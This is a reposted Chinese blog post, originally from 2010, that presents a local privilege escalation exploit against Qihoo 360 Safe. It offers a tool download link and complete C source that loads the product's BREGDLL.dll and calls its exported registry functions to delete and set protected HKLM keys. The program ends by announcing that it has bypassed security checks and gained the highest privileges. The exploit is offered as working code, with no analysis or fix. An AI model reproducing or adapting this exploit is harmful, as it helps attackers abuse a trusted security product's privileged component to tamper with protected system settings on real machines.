前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >360本地提权漏洞演示+利用工具 EXP

360本地提权漏洞演示+利用工具 EXP

作者头像
zhaoJian.Net
发布2023-02-24 16:22:45
2790
发布2023-02-24 16:22:45
举报
文章被收录于专栏:zhaoJian.Net

漏洞演示地址已失效

工具下载地址:

下载地址

代码:

[cc] #include typedef BOOL (WINAPI *INIT_REG_ENGINE)(); typedef LONG (WINAPI *BREG_Delete_KEY)(HKEY hKey, LPCSTR lpSubKey); typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult); typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey); typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_Delete_KEY BRegDeleteKey = NULL; BREG_OPEN_KEY BRegOpenKey = NULL; BREG_CLOSE_KEY BRegCloseKey = NULL; REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey HKEY_LOCAL_MACHINE #define TestDeleteRegPath "Software\\360Safe\\Update"

#define TestSetKey HKEY_LOCAL_MACHINE #define TestSetPath "Software\\360Safe"

BOOL InitBRegDll() { LONG lResult; HKEY hKey;

CHAR cPath[MAX_PATH + 32] = { 0 }; DWORD dwPathLen = MAX_PATH;

lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey); if (FAILED(lResult)) return FALSE;

DWORD dwType = REG_SZ; lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen); RegCloseKey(hKey); if (FAILED(lResult)) return FALSE;

strcat(cPath, "\\deepscan\\BREGDLL.dll");

HMODULE modBReg = LoadLibraryA(cPath); if (!modBReg) return FALSE;

INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine"); BRegDeleteKey = (BREG_Delete_KEY)GetProcAddress(modBReg, "BRegDeleteKey"); BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey"); BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey"); BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) { FreeLibrary(modBReg); return FALSE; }

if (!InitRegEngine()) { FreeLibrary(modBReg); return FALSE; }

return TRUE; }

LONG TestSetRegKey() { HKEY hKey; LONG lResult;

lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey); if (FAILED(lResult)) return lResult;

DWORD dwType = REG_SZ; static char szData[] = "TEST VALUE"; lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData)); BRegCloseKey(hKey);

return lResult; }

int main(int argc, char *argv[]) { if (!InitBRegDll()) { MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP); return 1;

} if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) { MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP); return 2;

}

if (FAILED(TestSetRegKey())) { MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP); return 3; }

MessageBoxA(NULL, "突破系统安全检查,获得最高权限,漏洞利用成功!", "成功", MB_OK); return 0; } [/cc]

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2010年02月3日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档